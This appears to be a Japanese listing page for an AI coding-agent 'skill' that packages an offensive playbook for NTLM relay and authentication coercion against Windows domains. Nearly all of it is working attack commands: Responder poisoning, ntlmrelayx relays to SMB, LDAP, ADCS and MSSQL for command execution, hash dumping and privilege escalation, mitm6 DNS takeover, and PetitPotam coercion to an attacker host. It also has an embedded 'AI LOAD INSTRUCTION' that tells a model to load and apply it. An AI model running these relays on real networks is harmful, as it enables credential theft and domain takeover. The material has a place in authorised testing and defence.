ntlm-relay-coercion について
セキュリティ評価向けのNTLMリレーと認証誘導に関するリファレンススキルです。リレー先、署名やチャネルバインディングの制約、資格情報の取得、プロトコル間の経路、一般的な誘導手法を説明します。
主な機能
- 01リレー先とプロトコルの一覧
- 02SMB署名とEPAの制約
- 03Responderによる資格情報の取得
- 04SMB、LDAP、HTTP、MSSQLへのNTLMリレー
- 05mitm6によるIPv6 DNS乗っ取り
- 06プロトコル間リレーとWebDAV誘導
活用シーン
- 01ネットワークのNTLMリレー露出を評価する
- 02署名とチャネルバインディング要件を確認する
- 03LDAPやADCSへのリレー経路を評価する
- 04WebDAVを使った認証誘導を分析する
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill ntlm-relay-coercionインストール後、Claude Code で/ntlm-relay-coercionを入力して読み込まれたか確認します。
同梱ファイルCOERCION_METHODS.md
詳細
スキル:NTLM リレーと認証強制 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けの NTLM リレーと認証強制の手法です。SMB/LDAP/HTTP/MSSQL へのリレー、署名要件、Responder によるポイズニング、mitm6、プロトコル間リレー、WebDAV による強制、および主要な強制手法を網羅しています。ベースモデルでは、署名/EPA の要件やプロトコル間リレーの制約が見落とされます。
0. 関連ルーティング
詳しく調べる前に、次の読み込みを検討してください。
- active-directory-certificate-services:ESC8(ADCS 登録へのリレー)について
- active-directory-acl-abuse:LDAP リレーによる ACL の変更(RBCD、シャドウ認証情報)について
- active-directory-kerberos-attacks:リレー成功後の Kerberos 攻撃について
- windows-lateral-movement:リレー後の水平移動について
高度なリファレンス
次の情報が必要な場合は、COERCION_METHODS.md も読み込んでください。
- 強制手法の詳細な比較(PetitPotam、PrinterBug、DFSCoerce など)
- RPC 関数レベルの詳細と前提条件
- Coercer ツールの使用方法と検出
1. NTLM リレーの基礎
Victim Attacker (relay) Target
│ │ │
│── NTLM Auth ──→│ │ (1) Victim authenticates (coerced/poisoned)
│ │── Forward Auth ─────→│ (2) Attacker relays to target
│ │←─ Challenge ──────── │ (3) Target sends challenge
│←─ Challenge ────│ │ (4) Attacker forwards challenge to victim
│── Response ────→│ │ (5) Victim computes response
│ │── Forward Response ─→│ (6) Attacker relays response to target
│ │←─ Authenticated! ────│ (7) Target accepts → attacker has session
NTLMv1 と NTLMv2
| 機能 | NTLMv1 | NTLMv2 |
|---|---|---|
| セキュリティ | 弱い(NTLM ハッシュにクラック可能) | より強固(ただしリレー可能) |
| リレー | 可能 | 可能 |
| ハッシュへのクラック | 可能(レインボーテーブル、crack.sh) | オフラインのブルートフォースのみ |
| ダウングレード | Responder の --lm で強制 | 最新の Windows ではデフォルト |
2. リレー先プロトコルの一覧
| リレー先プロトコル | 得られるもの | デフォルトで署名が必須か? | EPA/チャネルバインディングか? |
|---|---|---|---|
| SMB | コマンド実行(管理者の場合)、ファイルアクセス | DC:はい、ワークステーション:いいえ | いいえ |
| LDAP | ACL の変更、RBCD、シャドウ認証情報、コンピューターの追加 | DC:いいえ(ネゴシエーション) | いいえ(構成されている場合を除く) |
| LDAPS | LDAP と同じだが暗号化される | 該当なし | はい(チャネルバインディング) |
| HTTP(ADCS) | 証明書の登録(ESC8) | いいえ | 構成による |
| MSSQL | SQL クエリ、xp_cmdshell | いいえ | いいえ |
| IMAP/SMTP | メールへのアクセス | いいえ | いいえ |
| RPC | さまざまな操作(ESC11 の CA 登録) | 条件による | いいえ |
署名の確認
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing
# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE
3. RESPONDER — 認証情報の取得
LLMNR/NBT-NS/WPAD/mDNS ポイズニング
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP
# Analyze mode (passive, no poisoning)
responder -I eth0 -A
# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137) — NetBIOS Name Service
# WPAD — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353) — Multicast DNS
Responder とリレー(取得せず、代わりにリレー)
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off
# Start Responder for poisoning only
responder -I eth0 -dwP
# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support
4. NTLMRELAYX — リレーの実行
SMB へのリレー(管理者として実行)
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support
# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
LDAP へのリレー(ACL の変更)
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support
# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support
# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
ADCS HTTP へのリレー(ESC8)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
# Use with coercion to relay DC auth → get DC certificate
MSSQL へのリレー
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
5. MITM6 — IPv6 DNS の乗っ取り
# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com
# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support
# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer
6. プロトコル間リレー
SMB → LDAP
SMB 認証を取得し、LDAP にリレーします(LDAP 署名の強制がないことが必要です)。
# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP
制約:送信元がリレーを示す SMB 署名ネゴシエーションを使用する場合、SMB → LDAP リレーは失敗します。
WebDAV → LDAP
ワークステーションからの WebDAV は、NTLM を HTTP 経由で送信し、LDAP にリレーします(署名の問題はありません)。
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
7. WebDAV ベースの強制
WebClient サービス(WebDAV)は、SMB 型の強制を HTTP ベースの NTLM に変換します。
# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav
# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share
主な利点:HTTP ベースの NTLM では、SMB 署名の要件を回避できます。
8. NTLM リレーの判断ツリー
Want to relay NTLM authentication
│
├── What auth can you capture?
│ ├── Responder poisoning (passive, wait for queries)
│ ├── mitm6 (DHCPv6 DNS takeover, periodic)
│ └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│ │
│ ├── Need code execution?
│ │ ├── SMB target without signing → ntlmrelayx to SMB (§4)
│ │ └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│ │
│ ├── Need domain escalation?
│ │ ├── LDAP signing not enforced?
│ │ │ ├── Relay to LDAP → RBCD (§4)
│ │ │ ├── Relay to LDAP → shadow credentials (§4)
│ │ │ └── Relay to LDAP → add computer + delegate (§4)
│ │ └── LDAP signing enforced?
│ │ └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│ │
│ └── Need certificate?
│ └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│ ├── Target is SMB → check signing (§2)
│ ├── Target is LDAP → may work (cross-protocol, §6)
│ └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│ └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
├── Check signing requirements (§2)
├── Check EPA/channel binding
├── Try cross-protocol (SMB → LDAP)
└── Try WebDAV coercion (avoids SMB signing)
コメント
Markdown 対応